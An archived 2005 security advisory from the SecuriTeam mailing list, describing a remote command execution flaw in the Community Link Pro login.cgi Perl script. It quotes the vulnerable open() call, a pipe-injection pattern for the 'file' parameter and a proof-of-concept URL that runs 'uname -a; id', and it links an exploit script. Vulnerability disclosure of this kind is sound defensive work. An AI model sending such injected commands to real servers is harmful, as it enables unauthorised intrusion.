Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] Community Link Pro Command Execution (login.cgi) |
|---|---|
| Date: | 10 Nov 2005 14:50:27 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Community Link Pro Command Execution (login.cgi) ------------------------------------------------------------------------ SUMMARY Login.cgi is "a login script written in Perl by Community Link Pro Web Editor that allows to a remote user to login in his own personal page". Community Link Pro Web Editor has been found to be vulnerable to remote code execution due lack of sanitation of 'file' parameter. DETAILS Vulnerable Code: open(FILE2,"$memberspath/$FORM{'username'}/$FORM{'file'}"); foreach (<FILE2>) { print; } close(FILE2); The above code doesn't properly open the file for reading, this allows a remote attacker to cause the program to open commands which it will execute. The vulnerability can be exploited by simply passing commands as the $file parameter, for example: login.cgi?username=&command=simple&do=edit&password=&file=|COMMAND|. Proof of concept: http://www.hostvuln.net/app/webeditor/login.cgi?username=& command=simple&do=edit&password=&file=|uname -a; id| Exploit: <http://www.badroot.org/exploits/clogin.pl> http://www.badroot.org/exploits/clogin.pl ADDITIONAL INFORMATION The information has been provided by <mailto:mozako@mybox.it> mozako. The original article can be found at: <http://www.badroot.org/advisories/SA0x05> http://www.badroot.org/advisories/SA0x05 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] Apple QuickTime Multiple Vulnerabilities (PICT, Integer Overflow, DoS), SecuriTeam |
|---|---|
| Next by Date: | [UNIX] Apache Tomcat DoS, SecuriTeam |
| Previous by Thread: | [NEWS] Apple QuickTime Multiple Vulnerabilities (PICT, Integer Overflow, DoS), SecuriTeam |
| Next by Thread: | [UNIX] Apache Tomcat DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |